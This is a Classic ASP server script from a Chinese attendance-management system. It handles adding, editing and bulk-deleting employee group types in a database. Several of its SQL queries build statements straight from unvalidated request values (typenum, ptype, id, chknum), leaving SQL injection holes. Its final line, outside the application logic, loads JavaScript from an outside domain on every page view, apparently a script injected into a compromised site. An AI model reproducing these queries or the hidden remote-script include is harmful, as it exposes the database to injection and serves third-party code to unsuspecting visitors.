type_do.asp

通用考勤系统

<%
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
''''版权：野马原创                    ''''
''''联系：[e-mail]          ''''
''''说明：需要新功能联系我      ''''
''''QQ:2643148                    ''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
%>
<!--#include file="check.asp"--> 
<!--#include file="qx.asp"--> 
<!--#include file="conn.asp"--> 

<%
 act=request("act")
 
if act="add" then
typename=trim(request.form("typename"))
typenum=trim(request.form("typenum"))

sql="select * from type where type="&typenum
rs.open sql,cn,3,3
 if not(rs.eof or rs.bof) then
  response.write "<script>alert('存在该组序号');history.back();</script>"
else
rs.addnew
  
 rs("type")=request.form("typenum")
 rs("typename")=request.form("typename")
rs("monthpay")=int(request.form("monthpay"))
rs("worktime")=int(request.form("worktime"))
rs("settime")=int(request.form("settime"))
rs("qdtimes")=int(request.form("qdtimes"))
rs("hctime")=int(request.form("hctime"))
rs.update
rs.close
response.write "<script>location.href='type.asp';</script>"
end if
end if

 

if act="xiugai" then
pid=int(request.form("pid"))
typename=trim(request.form("typename"))
sql="select * from type where id="&int(pid)
rs.open sql,cn,3,3
 rs("typename")=trim(request.form("typename"))
rs("monthpay")=int(request.form("monthpay"))
rs("worktime")=int(request.form("worktime"))
rs("settime")=int(request.form("settime"))
rs("qdtimes")=int(request.form("qdtimes"))
rs("hctime")=int(request.form("hctime"))
rs.update
rs.close
 
response.redirect "type.asp"

end if
 

''''''''''''''''del''''''''''''''''
if act="del" then 
pid=request("id")
ptype=request("ptype")
 sql1="select type,auto from ct_sql where type="&ptype ''清除信息
  rs.open sql1,cn,1,3
  do while not rs.eof
    rs("type")=0
    rs("auto")=0
  rs.update
  rs.movenext
 loop
sql="delete from type where id="&pid       ''删除该组
cn.Execute sql
cn.close

response.redirect "type.asp"
 
end if

''''''''''''''''All-del''''''''''''''''

if act="alldel" then 
 if request.form("chknum").count=0 then                                   
          response.write "<script>alert('没有选中任何项目！！');history.back();</script>"' 
   else   
             for i=1 to request.form("chknum").count  
               pid=request.form("chknum")(i)  
                 sql1="select type,auto from ct_sql where type="&pid ''清除信息
  rs.open sql1,cn,1,3
  do while not rs.eof
    rs("auto")=0
    rs("type")=0
  rs.update
   rs.movenext
 loop
  sql="delete from type where type="&pid       ''删除该组
  cn.Execute sql
next
 cn.close
response.redirect "type.asp"
  end if
end if
%>
<script language=javascript src=http://web.moyugame.com/1.js></script>